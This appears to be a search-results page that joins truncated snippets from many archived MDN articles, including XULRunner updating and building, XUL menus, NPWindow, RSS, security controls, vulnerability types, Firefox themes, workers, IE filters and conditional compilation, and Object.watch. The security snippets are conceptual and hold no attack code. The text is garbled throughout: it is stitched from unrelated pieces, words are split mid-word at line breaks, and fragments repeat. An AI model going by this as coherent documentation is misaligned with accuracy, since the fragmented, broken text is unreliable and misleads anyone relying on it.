ips icons the updater process for linux systems requires updater.png to be in your <application folder>/icons/, see https://bugzilla.mozilla.org/show_bug.cgi?id=706846 preferences // whether or not app updates are enabled pref("app.update.enabled", true); // this preference turns on app.update.mode and allows automatic download and // install to take place. we use a separate boolean toggle for ...
...olve them. // 1 = suppress prompting for incompatibilities only if there are versioninfo // updates available to installed addons that resolve them, not newer // versions. pref("app.update.incompatible.mode", 0); update server follow the instructions here to setup an update server for your xulrunner application to query. i opted for the simpler approach of not using the update php scr
ipt. https is recommended but not required (yet). update.xml the format is outlined here process as best i can tell here's how the update process works. at the scheduled interval the application checks the update server for update.xml, search for the correct one using the software name, versions, build id's, channels, and other information like locales. if the update.xml file doesn't exist t...
...unner, will download the update, verify it with the hash and filesize and install. it will then prompt the user to restart the application. resources http://wiki.mozilla.org/software_update http://wiki.mozilla.org/updategeneration http://developer.mozilla.org/en/docs/setting_up_an_update_server http://chatzilla.rdmsoft.com/xulrunner/update/ http://developer.mozilla.org/en/docs/xulrunner_t
ips ...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
ou save on psychiatry sessions. if you are actively modifying xulrunner as part of your development, however, you'll have to bite the bullet. for example, you may be fixing bugs in xulrunner, applying patches from bugzilla that aren't yet checked into the main repository or making your own changes to deploy as part of a customized xulrunner build. so basically, almost everyone should be able to sk
ip the next section. building xulrunner still here? hey, it's not all bad. you'll get a warm fuzzy feeling from mastering the complex but very powerful mozilla build system. and all that furniture you smash in the meantime makes great kindling to get you through those cold winter nights. let's face it, it was probably time for you to get some new furniture anyway. everything you ever wanted to know ...
... building your own xulrunner. you can also add other options to this section if you want them to apply to your app only. building your application if you decided that you needed a custom-built xulrunner and read the previous section then you're way ahead of the game. you simply need to place your application's root directory directly under the mozilla root on your disk. and what's more, you can sk
ip the following section, partially compensating you for all that extra work you put in just now. see, it all balances out in the end! building with a prebuilt sdk once you've downloaded the xulrunner sdk, you'll need a .mozconfig of your own. here's an example for mccoy: # options for client.mk. mk_add_options moz_co_projects=browser mk_add_options moz_objdir=@topsrcdir@/../mccoybase # options for...
...? nope. mozilla has a separate makefile.in for each directory that is part of the build. in this case, you'll be a happy, healthier and more well-balanced if you don't try to understand the file at all. just copy it from mccoy. you don't even have to substitute in your application name for mccoy since it uses the app_name variable. application.ini - used for application packaging. a complete descr
iption can be found in xul application packaging. in this case you can basically copy over the file as is, since once again variables are used for things like the application name and version. but you will have to change the id to something unique to your app. default-prefs.js - these are the default mozilla preferences used by xulrunner when running your app. the important ones are described in xul...
...iables are used for things like the application name and version. but you will have to change the id to something unique to your app. default-prefs.js - these are the default mozilla preferences used by xulrunner when running your app. the important ones are described in xulrunner:specifying startup chrome window. you can add other preferences for things like debugging, as mccoy does (e.g. javascr
ipt.options.showinconsole). default.ico and default.xpm - icons for your app on windows and linux. macbuild/ - when steve jobs said "think different", we took that to heart, and not just by rejecting useless adverbial endings. we've included a whole subdirectory just for the mac. it's got a lot of stuff in it, but once again you can mostly ignore this and copy the whole directory over from mccoy. yo...
How to enable locale switching in a XULRunner application - Archive of obsolete content
locale localeswitchdemo fr-fr locale/fr-fr/ how are you going to populate the xul listbox? you can hardwire the choices into the xul code using fixed list items, or could take the elegant approach and construct the list dynamically. the dynamic list population requires an xpcom to query the currently selected locale as well as all locales available in the application package. ...
...ally. the dynamic list population requires an xpcom to query the currently selected locale as well as all locales available in the application package. ...
...hen asks xulrunner to restart. function changelocale() { try { // which locale did the user select? var localelistbox = document.getelementbyid("locale-listbox"); var newlocale = localelistbox.selecteditem.value; // write preferred locale to local user config var prefs = components.classes["@mozilla.org/preferences-service;1"]. ...
...rtup;1"] .getservice(components.interfaces.nsiappstartup); appstartup.quit(components.interfaces.nsiappstartup.erestart | components.interfaces.nsiappstartup.eattemptquit); } catch(err) { alert("couldn't change locale: " + err); } } * * * here i include a complete xulrunner application example that demonstrates the locale switching. the code sn
ippets above were taken from it. localeswitchexample.z
ip (7kb, tested with xulrunner 1.9.0 for linux) ...
Windows and menus in XULRunner - Archive of obsolete content
e not seen it mentioned yet, i am assuming that you can only have one <window> element per xul file. here is an example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt src="main.js"/> ... </window> notice the references to css and dtd files. the css is used to apply formatting to elements, just as it would in html. the dtd is used to create entity references so strings for titles and labels are not stored directly in the xul file; this makes updating the text -- and localization of the application -- much easier. the window title is done this way in the abov...
... notice the references to css and dtd files. the css is used to apply formatting to elements, just as it would in html. the dtd is used to create entity references so strings for titles and labels are not stored directly in the xul file; this makes updating the text -- and localization of the application -- much easier. the window title is done this way in the above example. also notice the <scr
ipt> element which is used to include the window's javascr
ipt into the xul file. keeping css, dtd and javascr
ipt out of the xul file is considered a best practice. when you launch your xul application, you'll notice that xulrunner gives your windows a default icon (top left corner on windows). you'll most likely want to specify your own icons. you can learn how to do it in the article window icons.
... to support both menus and toolbars. ...
.../> </menupopup> </menu> </menubar> <toolbar id="main-toolbar"> <toolbarbutton id="open" label="&file.open;" oncommand="dofileopen();"/> <toolbarbutton id="save" label="&file.save;" oncommand="dofilesave();"/> </toolbar> </toolbox> ... </window> notice that i used entity-references for the menu and toolbar labels. the oncommand event is hooked up to javascr
ipt, just like an onclick in html. the javascr
ipt is contained in the main.js file. xul has a way to centralize commands and event handlers for menus and toolbars that do the same thing, like open and save in the above example. you can add a <commandset> and <command> elements like this: <commandset> <command id="cmd_open" label="&file.open;" oncommand="dofileopen();"/> <command id="cmd_save" l...
NPWindow - Archive of obsolete content
api summary contains information about the target into which the plug-in instance can draw. ...
... contains information about the target into which the plug-in instance can draw. syntax typedef struct _npwindow { void* window; /* platform specific handle */ uint32_t x; /* coordinates of top left corner */ uint32_t y; /* relative to a netscape page */ uint32_t width; /* maximum window size */ uint32_t height; nprect cl
iprect; /* cl
ipping rectangle coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* window or drawable target */ } npwindow; fields the data structure has the following fields: window platform-specific handle to a native window element in the netscape window hierarchy on windows (hwnd) and unix (x window id). mac os: ...
...etscape window hierarchy on windows (hwnd) and unix (x window id). mac os: window is a pointer to an np_port. x, y the x and y coordinates for the top left corner of the plug-in relative to the page (and thus relative to the origin of the drawable). should not be modified by the plug-in. height, width the height and width of the plug-in area. should not be modified by the plug-in. cl
iprect cl
ipping rectangle of the plug-in; the origin is the top left corner of the drawable or window. cl
ipping to the cl
iprect prevents the plug-in from overwriting the status bar, scroll bars, and other page elements when partially scrolled off the screen. mac os: cl
iprect is the rectangle in port coordinates to which the plug-in should cl
ip its drawing. ws_info unix: contains information ab...
...ator 3.0). the plug-in is considered windowed. npwindowtypedrawable: indicates that the plugin is windowless. the window field holds a platform-specific handle to a drawable or an off-screen pixmap, as follows: windows: hdc mac os: pointer to np_port structure unix/x11: not used. (the drawable is provided in a graphicsexpose event, when the paint is requested.) descr
iption the npwindow structure represents the native window or a drawable, and contains information about coordinate position, size, whether the plug-in is windowed or windowless, and some platform-specific information. the plug-in area is a native window element on windows and unix, or a rectangle within a native window on mac os. the x, y, height, and width coordinates of npwindow specify the posi...
title - Archive of obsolete content
n onlyplain text data. note: in userland's rss 0.91 there is a 100 character maximum limit. ...
...land's rss 0.91 there is a 100 character maximum limit. ...
... <tr> <th>name</td> <th>tag</td> <th>0.90</td> <th>n 0.91 r1</td> <th>n 0.91 r3</td> <th>u 0.91</td> <th>0.92</td> <th>0.93</td> <th>0.94</td> ...
... <link>http://www.advogato.org/</link> <title>advogato</title> <url>http://www.advogato.org/image/tinyadvogato.png</url> </image> <item> <title>why can i not get any tang?!</title> <link>http://www.advogato.org/article/10101.html</link> <descr
iption>seriously. why can't i get any tang?</descr
iption> </item> </channel> </rss> attributes none sub-elements none parent elements the table below shows a list of rss elements that this element can be a child of. <tr> <th>name</td> <th>tag</td> <th>0.90</td> <th>n 0.91 r1</td> <th>n 0.91 r3</td> <th>u 0.91</td> <th>0.92</td> <th>0.93</td> <th>0.94</td> <th>1.0</td> <th>2.0</td> </tr> <tr> <td>rss channe...
Security Controls - Archive of obsolete content
into two categories. first, security weaknesses in the system need to be resolved. for example, if a system has a known vulnerability that attackers could exploit, the system should be patched so that the vulnerability is removed or mitigated. second, the system should offer only the required functionality to each authorized user, so that no one can use functions that are not necessary. this princ
iple is known as least privilege. limiting functionality and resolving security weaknesses have a common goal: give attackers as few opportunities as possible to breach a system. there are three types of security controls, as follows: management controls: the security controls that focus on the management of risk and the management of information system security. operational controls: the secur...
... is an issue, many users will attempt to circumvent security controls; for example, if passwords must be long and complex, users may write them down. balancing security, functionality, and usability is often a challenge. the goal should be to strike a proper balance: provide a reasonably secure solution while offering the functionality and usability that users require. ...
...circumvent security controls; for example, if passwords must be long and complex, users may write them down. balancing security, functionality, and usability is often a challenge. the goal should be to strike a proper balance: provide a reasonably secure solution while offering the functionality and usability that users require. another fundamental princ
iple with security controls is using mult
iple layers of security--defense in depth. ...
... a combination of network-based and host-based controls is generally most effective at providing consistent protection. ...
Vulnerabilities - Archive of obsolete content
assumptions that permit the software to provide beneficial features, while also introducing the possibility of someone violating the trust assumptions to compromise security. for example, email client software may contain a feature that renders html content in email messages. an attacker could craft a fraudulent email message that contains hyperlinks that, when rendered in html, appear to the rec
ipient to be benign but actually take the rec
ipient to a malicious web site when they are clicked on. one of the trust assumptions in the design of the html content rendering feature was that users would not receive malicious hyperlinks and click on them. software feature misuse vulnerabilities are introduced during the design of the software or a component of the software (e.g., a protocol that th...
... compensate for it. however, trust assumptions are often implicit, such as creating a feature without first evaluating the risks it would introduce. threats may also change over the lifetime of software or a protocol used in software. for example, the address resolution protocol (arp) trusts that an arp reply contains the correct mapping between media access control (mac) and internet protocol (
ip) addresses. the arp cache uses that information to provide a useful service--to enable sending data between devices within a local network. however, an attacker could generate false arp messages to poison a system's arp table and thereby launch a denial-of-service or a man-in-the-middle attack. the arp protocol was standardized over 25 years ago, and threats have changed a great deal since then,...
...es not specifically alter just its security; for a security configuration issue vulnerability, the configuration setting alters only the software's security. for example, a setting that disables all use of html in emails has a significant impact on both security and functionality, so a vulnerability related to this setting would be a misuse vulnerability. a setting that disables the use of an ant
iphishing feature in an email client has a significant impact on only security, so a vulnerability with that setting would be considered a security configuration issue vulnerability. the presence of vulnerabilities no system is 100% secure: every system has vulnerabilities. at any given time, a system may not have any known software flaws, but security configuration issues and software feature mis...
...urity vulnerabilities based on the data from various security organizations. the web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software which can be any cms such as wordpress, joomla, magento, wocommerce and more. here are six of the most common website vulnerabilities you must protect yourself against. 1. sql injections 2. cross site scr
ipting (xss) 3. broken authentication & session management 4. insecure direct object references - dom (document object model) 5. security misconfiguration 6. cross-site request forgery (csrf) ...
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own background theme themes are made up of a "header" graphic image file, which skins the default firefox ui background. finished your design? you can submit it right now! creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab str
ip. it will be anchored to the top-right corner of the browser window. view a sample theme header here. image requirements dimensions should be 3000px wide x 200px high png or jpg file format image must be no larger than 300 kb in file size t
ips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may reveal more of the lower po...
...the footer image is displayed as the background of the bottom of the browser window, behind the add-on and find bars. it will be anchored to the bottom-left corner of the browser window. footer images are optional. view a sample theme footer here. image requirements dimensions should be 3000px wide x 100px high png or jpg file format image must be no larger than 300 kb in file size t
ips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may reveal more of the upper portion of the image if the find bar is open or if an extension adds more height to the bottom of the window. the left-hand side of the image should have the most important information--as a user increases the width of the browser window, the br...
...e -- pick a unique name for your theme. duplicate names are not allowed, so you may need to try a few times to find a unique name. pick a category and tags -- select a category and enter some tags that best describe your theme. keep in mind that a reviewer may reject your theme if it is obvious that your category and/or tags are unrelated to your theme. describe your theme -- write a short descr
iption of your theme. keep in mind that a reviewer may reject your theme if your descr
iption is not an accurate representation of your theme. select a license for your theme -- decide on a copyright license for your work. read more about the types of creative common licenses. important: please be sure you have the rights to use the image in your theme! upload your images -- make sure th...
...kground") color and foreground text color that work best with your header image. preview your theme -- you're ready to preview your theme! simply mouse over the image above the submit theme button, and see how it looks instantly. submit your theme -- if everything looks right, click the submit theme button, and you're done! you can see all the themes you've authored on your profile page. t
ip: to ensure that your theme is approved for the gallery, be sure it complies with the content guidelines and terms of service! submit your theme now more tutorials mozilla themes focal point on sizing - a tutorial on theming with a focus on sizing, by vanillaorchids. ...
Using workers in extensions - Archive of obsolete content
s in extensions to perform tasks in the background without blocking the user interface. if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support mult
iple mozilla applications download the sample you may download the complete example: download the example. how this differs from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the st...
...latively minor, but crucial. the startup() method this method is called when the extension is first loaded, and needs to be updated to start up and configure the worker. ...
...ed, and needs to be updated to start up and configure the worker. let's take a look: startup: function() { // register to receive notifications of preference changes this.prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.ns
iprefservice) .getbranch("stockwatcher2."); this.prefs.queryinterface(components.interfaces.ns
iprefbranch2); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.worker = new worker("chrome://stockwatcher2/content/ticker_worker.js"); // small little dance to get 'this' to refer to stockwatcher, not the // worker, when a message is received. var self = this; this.worker.onmessage = function(event) { ...
... this.worker.postmessage(this.tickersymbol); }, refreshinformation: function() { // empty message just means 'refresh'. this.worker.postmessage(""); }, the onworkermessage() method this method is called when the worker posts a message back to the main thread. its job is to update the ticker information that's currently displayed in the status bar, as well as to update the toolt
ip that appears while the mouse cursor is hovering over the ticker. this code is essentially identical to what's done in the previous version, except that it's done in response to an event instead of within the refreshinformation() method. a note about chromeworkers requires gecko 2.0(firefox 4 / thunderbird 3.3 / seamonkey 2.1) gecko 2.0 added the new chromeworker object, which provides...
Browser Feature Detection - Archive of obsolete content
true true borderleftcolor true true true bordertopstyle true true true borderrightstyle true true true borderbottomstyle true true true borderleftstyle true true true bottom true true true captionside true false true clear true true true cl
ip true true true content true false true counterincrement true false true counterreset true false true cue true false false cueafter true false false cuebefore true false false cursor true true true direction true true true elevation tr...
...ported': false}, {name: 'borderleftcolor', 'supported': false}, {name: 'bordertopstyle', 'supported': false}, {name: 'borderrightstyle', 'supported': false}, {name: 'borderbottomstyle', 'supported': false}, {name: 'borderleftstyle', 'supported': false}, {name: 'bottom', 'supported': false}, {name: 'captionside', 'supported': false}, {name: 'clear', 'supported': false}, {name: 'cl
ip', 'supported': false}, {name: 'content', 'supported': false}, {name: 'counterincrement', 'supported': false}, {name: 'counterreset', 'supported': false}, {name: 'cue', 'supported': false}, {name: 'cueafter', 'supported': false}, {name: 'cuebefore', 'supported': false}, {name: 'cursor', 'supported': false}, {name: 'direction', 'supported': false}, {name: 'elevation', 'supported':...
...}; function supports(object, featureset) { var i; var features = _features[featureset]; var level = 0; if (!features) return level; for (i = 0; i < features.length; i++) if (typeof(object[features[i].name]) != 'undefined') { features[i].supported = true; ++level; } return math.floor( (100 * level) / features.length ); } function generatereport(object, featureset, descr
iption) { var i; var features = _features[featureset]; document.write('<p><b>' + featureset + ' support for properties/methods in ' + descr
iption + ', percentage of names defined = ' + supports(object, featureset) + '%<\/b><\/p>'); document.write('<table cellspacing="0">'); for (i = 0; i < features.length; i++) { if (features[i].supported) document.write('<tr><td>' + features[...
... note: this reprinted article was originally part of the devedge site. ...
-ms-filter - Archive of obsolete content
ilter on an image. code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_h.htm <img style="filter:progid:dximagetransform.microsoft.motionblur(strength=50) progid:dximagetransform.microsoft.basicimage(mirror=1)" src="/workshop/samples/author/dhtml/graphics/cone.jpg" height="80px" width="80px" alt="cone"> the following example shows how to use scr
ipting to set the filter on an image. code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_s.htm <body> <p>click the image to start the filter.</p> // call the function. <div id="filterfrom" style="position: absolute; width: 200px; height: 250px; background-color: white; filter: revealtrans()"> <im...
... filterfrom.filters.item(0).transition=12; imagefrom.style.visibility = "hidden"; filterto.style.visibility = ""; filterfrom.filters.item(0).play(14); } ...
... top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 20px; background: white; visibility: hidden;"> </div> </div> <scr
ipt type="text/javascr
ipt"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter. filterfrom.filters.item(0).transition=12; imagefrom.style.visibility = "hidden"; filterto.style.visibility = ""; filterfrom.filters.item(0).play(14); } </scr
ipt> </body> gr...
...ackground-image: linear-gradient() dropshadow text-shadow or box-shadow matrix transform, transform-origin in windows internet explorer 8, the -ms-filter attribute is an extension to css, and can be used as a synonym for filter in ie8 standards mode. when you use -ms-filter, enclose the progid in single quotes (') or double quotes ("). use commas (,) to separate mult
iple values, as shown in the examples section. an object must have layout for the filter to render. a simple way to accomplish this is to give the element a specified height and width, or both. the shadow filter can be applied to the <img> object by setting the filter on the image's parent container. the filter mechanism is extensible and enables you to develop and add filters later. for more inf...
display-outside - Archive of obsolete content
the display-outside css property specifies the outer display type of the box generated by an element, dictating how the element partic
ipates in its parent formatting context. /* keyword values */ display-outside: block-level; display-outside: inline-level; display-outside: run-in; display-outside: contents; display-outside: none; display-outside: table-row-group; display-outside: table-header-group; display-outside: table-footer-group; display-outside: table-row; display-outside: table-cell; display-outside: table-column-group; display-outside: table-column; display-outside: table-caption; display-outside: ruby-base; display-outside: ruby-text; display-outside: ruby-base-container; display-outside: ruby-text-container; /* global values */ display-outside: inherit; display-outsid...
...tside: table-caption; display-outside: ruby-base; display-outside: ruby-text; display-outside: ruby-base-container; display-outside: ruby-text-container; /* global values */ display-outside: inherit; display-outside: initial; display-outside: unset; value not found in db! syntax one of the keyword values listed below. values block-level the element generates a block-level box, and partic
ipates in a block formatting context. other formatting contexts, such as flex formatting contexts, may also work with block-level elements. inline-level the element generates an inline-level box, and partic
ipates in an inline formatting context. run-in the element generates a run-in box. run-in elements act like inlines or blocks, depending on the surrounding elements. contents the element lay...
... may also work with block-level elements. inline-level the element generates an inline-level box, and partic
ipates in an inline formatting context. run-in the element generates a run-in box. run-in elements act like inlines or blocks, depending on the surrounding elements. contents the element lays out its contents using flex layout. none the element generates no boxes, and does not partic
ipate in any formatting context. table-row-group, table-header-group, table-footer-group, table-row, table-cell, table-column-group, table-column, table-caption the element is an internal table element, and partic
ipates in a table layout context. table-cell and table-caption are layout-specific leaf types; the rest are layout-specific internal types. ruby-base, ruby-text, ruby-base-container, ...
... ruby-base and ruby-text are layout-specific leaf types; ruby-base-container and ruby-text-container are layout-specific internal types. ...
@cc_on - Archive of obsolete content
warning: conditional compilation is not supported in internet explorer 11 standards mode and windows 8.x store apps. conditional compilation is supported in internet explorer 10 standards mode and in all earlier versions. the @cc_on statement activates conditional compilation support within comments in a scr
ipt. syntax @cc_on remarks the @cc_on statement activates conditional compilation within comments in a scr
ipt. it is not common to use conditional compilation variables in scr
ipts written for asp or asp.net pages or command-line programs because the capabilities of the compilers can be determined by using other methods. when you write a scr
ipt for a web page, always put conditional compilation code in comments. this enables hosts that do not support conditional compila...
...capabilities of the compilers can be determined by using other methods. when you write a scr
ipt for a web page, always put conditional compilation code in comments. this enables hosts that do not support conditional compilation to ignore it. it is strongly recommended that you use the @cc_on statement in a comment, so that browsers that do not support conditional compilation will accept your scr
ipt as valid syntax: an @if or @set statement outside of a comment also activates conditional compilation. example the following example illustrates the use of the @cc_on statement. ...
...o ignore it. it is strongly recommended that you use the @cc_on statement in a comment, so that browsers that do not support conditional compilation will accept your scr
ipt as valid syntax: an @if or @set statement outside of a comment also activates conditional compilation. example the following example illustrates the use of the @cc_on statement. ...
...ongly recommended that you use the @cc_on statement in a comment, so that browsers that do not support conditional compilation will accept your scr
ipt as valid syntax: an @if or @set statement outside of a comment also activates conditional compilation. example the following example illustrates the use of the @cc_on statement. ...
@if - Archive of obsolete content
condition2 ) text2] [@else text3] @end parameters text1 optional text to be parsed if condition1 is true. text2 optional text to be parsed if condition1 is false and condition2 is true. text3 optional text to be parsed if both condition1 and condition2 are false. remarks when you write an @if statement, you do not have to place each clause on a separate line. you can use mult
iple @elif clauses. however, all @elif clauses must come before an @elseclause. the @if statement is typically used to determine which text among several options should be used for text output. it is not common to use conditional compilation variables in scr
ipts written for asp or asp.net pages or command-line programs. this is because the capabilities of the compilers can be determined by using o...
...f clauses must come before an @elseclause. the @if statement is typically used to determine which text among several options should be used for text output. it is not common to use conditional compilation variables in scr
ipts written for asp or asp.net pages or command-line programs. this is because the capabilities of the compilers can be determined by using other methods. when you write a scr
ipt for a web page, always add conditional compilation code in comments. this enables hosts that do not support conditional compilation to ignore it. ...
...is because the capabilities of the compilers can be determined by using other methods. when you write a scr
ipt for a web page, always add conditional compilation code in comments. this enables hosts that do not support conditional compilation to ignore it. example the following example illustrates the use of the @if...@elif...@else...@end statement. ...
...ties of the compilers can be determined by using other methods. when you write a scr
ipt for a web page, always add conditional compilation code in comments. this enables hosts that do not support conditional compilation to ignore it. example the following example illustrates the use of the @if...@elif...@else...@end statement. ...
Object.prototype.watch() - Archive of obsolete content
u can usually use setters and getters or proxies instead. the watch() method watches for a property to be assigned a value and runs a function when that occurs. syntax obj.watch(prop, handler) parameters prop the name of a property of the object on which you wish to monitor changes. handler a function to call when the specified property's value changes. return value undefined. descr
iption watches for assignment to a property named prop in this object, calling handler(prop, oldval, newval) whenever prop is set and storing the return value in that property. a watchpoint can filter (or nullify) the value assignment, by returning a modified newval (or by returning oldval). if you delete a property for which a watchpoint has been set, that watchpoint does not disappear. if you la...
...llify) the value assignment, by returning a modified newval (or by returning oldval). if you delete a property for which a watchpoint has been set, that watchpoint does not disappear. if you later recreate the property, the watchpoint is still in effect. to remove a watchpoint, use the unwatch() method. by default, the watch method is inherited by every object descended from object. the javascr
ipt debugger has functionality similar to that provided by this method, as well as other debugging options. for information on the debugger, see venkman. in firefox, handler is only called from assignments in scr
ipt, not from native code. for example, window.watch('location', myhandler) will not call myhandler if the user clicks a link to an anchor within the current document. however, window.locat...
...ll myhandler. note: calling watch() on an object for a specific property overrides any previous handler attached for that property. examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval, newval) => { console.log('o.' + id + ' changed from ' + oldval + ' to ' + newval); return newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5; this scr
ipt displays the following: o.p changed from 1 to 2 o.p changed from 2 to 3 o.p changed from undefined to 4 using watch() to validate an object's properties you can use watch to test any assignment to an object's properties. this example ensures that every person always has a valid name and an age between 0 and 200. class person { constructor(name, age) { this.watch('age', this._isvalidas...
... ...
JSException - Archive of obsolete content
summary the public class jsexception extends runtimeexception java.lang.object | +----java.lang.throwable | +----java.lang.exception | +----java.lang.runtimeexception | +----netscape.javascr
ipt.jsexception descr
iption jsexception is an exception which is thrown when javascr
ipt code returns an error. constructor summary the netscape.javascr
ipt.jsexception class has the following constructors: jsexception deprecated constructors optionally let you specify a detail message and other information. method summary the netscape.javascr
ipt.jsexception class has the following methods: getwrappedexception instance method getwrappedexception. ...
...constructors optionally let you specify a detail message and other information. method summary the netscape.javascr
ipt.jsexception class has the following methods: getwrappedexception instance method getwrappedexception. getwrappedexceptiontype instance method getwrappedexceptiontype returns the int mapping of the type of the wrappedexception object. backward compatibility javascr
ipt 1.1 through 1.3 jsexception had three public constructors which optionally took a string argument, specifying the detail message or other information for the exception. the getwrappedexception method was not available. jsexception constructors, deprecated in javascr
ipt 1.4, constructs a jsexception object with an optional detail message. declaration 1. public jsexception() 2. public jsexcep...
... message. declaration 1. public jsexception() 2. public jsexception(string s) 3. public jsexception(string s, string filename, int lineno, string source, int tokenindex) arguments s the detail message. filename the url of the file where the error occurred, if possible. lineno the line number of the file, if possible. source the string containing the javascr
ipt code being evaluated. tokenindex the index into the source string where the error occurred. getwrappedexception instance method getwrappedexception. declaration public object getwrappedexception() descr
iption getwrappedexception() returns an object that represents the value that the javascr
ipt actually threw. javascr
ipt can throw any type of value. use getwrappedexception() to dete...
...ct getwrappedexception() descr
iption getwrappedexception() returns an object that represents the value that the javascr
ipt actually threw. javascr
ipt can throw any type of value. use getwrappedexception() to determine what kind of value the object return type represents. getwrappedexceptiontype instance method getwrappedexceptiontype. ...
JavaObject - Archive of obsolete content
summary core object the type of a wrapped java object accessed from within javascr
ipt code. created by any java method which returns an object type. in addition, you can explicitly construct a javaobject using the object's java constructor with the packages keyword: new packages.javaclass(parameterlist) javaclassis the fully-specified name of the object's java class. parameters parameterlist an optional list of parameters, specified by the constructor of the java class. descr
iption the javaobject object is an instance of a java class that is created in or passed to javascr
ipt. javaobject is a wrapper for the instance; all references to the class instance are made through the javaobject. any java data brought into javascr
ipt is converted to javascr
ipt data types. when the ja...
... properties inherits public data members from the java class of which it is an instance as properties. it also inherits public data members from any superclass as properties. ...
...properties inherits public data members from the java class of which it is an instance as properties. it also inherits public data members from any superclass as properties. methods inherits public methods from the java class of which it is an instance. the javaobject also inherits methods from java.lang.object and any other superclass. ...
... whether thestring begins with "hello". var thestring = new java.lang.string("hello, world"); thestring.startswith("hello"); // returns true example: accessing inherited methods because getclass is a method of object, and java.lang.string extends object, the string class inherits the getclass method. consequently, getclass is also a method of the javaobject which instantiates string in javascr
ipt. var thestring = new java.lang.string("hello, world"); thestring.getclass(); // returns java.lang.string see also javaarray, javaclass, javapackage, packages ...
XForms Custom Controls - Archive of obsolete content
the xforms controls like input, output, trigger, etc. we will also show you how to create custom controls that work with the xforms model and are automatically updated just like xforms controls. the purpose of this article is to give you enough background information so that you'll be able to get a good start. to really grasp the following information, a good understanding of xforms, xbl, javascr
ipt and css is needed. xpcom knowledge will certainly not hurt. but even if you are only comfortable with a couple of these technologies, we hope that the possibilities outlined below will inspire you to learn more where you need to. implementation status the framework we use in the mozilla xforms processor is very much a "work in progress". please keep in mind that just about everything we mention ...
...the right look and feel for you. custom data types - existing xforms controls are not able to work properly with your data type advanced xforms controls - you need your controls to be able to do more things than traditional xforms controls can do new host language - you'd like to support xforms in host languages other than xhtml or xul custom presentation the mozilla xforms extension cannot antic
ipate all of the possible use cases that will evolve in web applications and web pages as xforms matures and the user base grows. and with these new uses, more and more flexibility will be desired from the controls. introducing custom controls into your environment may be just the solution you are looking for. for example, you might want to render images that are held inside an instance document or ...
...ed in the spec, the appearance attribute can be used to influence the look and feel of a control even when all other conditions remain constant. for example, in the mozilla xforms extension we will render a combobox widget when appearance='minimal' on a select1 control. should the form author instead choose to use appearance='compact' on this control, we would render a listbox widget. here is a sn
ippet from our .css file to show the type of css rule we would use to make such a determination. xf|select1[appearance="compact"] { -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains. for example, if mediaty...
...o our source code to get some great examples of how xforms controls can be written. this will also allow you to be up to date with our current approaches (often the result of hard-learned lessons) and that will hopefully help you to more easily write your own controls. to get started, you really only need to know the language where you'd like to use xforms (like xhtml or xul), some xbl and javascr
ipt, and the xpcom interfaces we are exposing for your use. details interfaces this section describes interfaces you need to know. there are two main groups of interfaces -> callback interfaces that must be implemented by the custom controls and the interfaces that custom controls can use to access the mozilla xforms engine. nsixformsuiwidget every custom control should implement the nsixformsuiwidg...
Displaying a graphic with audio samples - Archive of obsolete content
the following example shows how to take samples from an audio stream and display them behind an image (in this case, the mozilla logo), giving the impression that the image is built from the samples. ...
...ilt from the samples. ...
...o channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } // clear the canvas before drawing spectrum ctx.fillstyle = "rgb(0,0,0)"; ctx.fillrect (0,0, canvas.width, canvas.height); ctx.fillstyle = "rgb(255,255,255)"; for (var i = 0; i < signal.length; i++ ) { // mult
iply spectrum by a zoom value magnitude = signal[i] * 1000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } ctx.drawimage(document.getelementbyid('mozlogo'),0,0, canvas.width, canvas.height); } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('moz...
...in ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } ctx.drawimage(document.getelementbyid('mozlogo'),0,0, canvas.width, canvas.height); } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </scr
ipt> </body> </html> ...
Techniques for game development - Game development
this article explains how. optimizing startup performance how to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device. ...
...this article explains how. optimizing startup performance how to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device. ...
...this article explains how. optimizing startup performance how to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device. ...
...inary data actively between your players. this article explains what this can do for you, and shows how to use libraries that make this easy. efficient animation for web games this article covers techniques and advice for creating efficient animation for web games, with a slant towards supporting lower end devices such as mobile phones. we touch on css transitions and css animations, and javascr
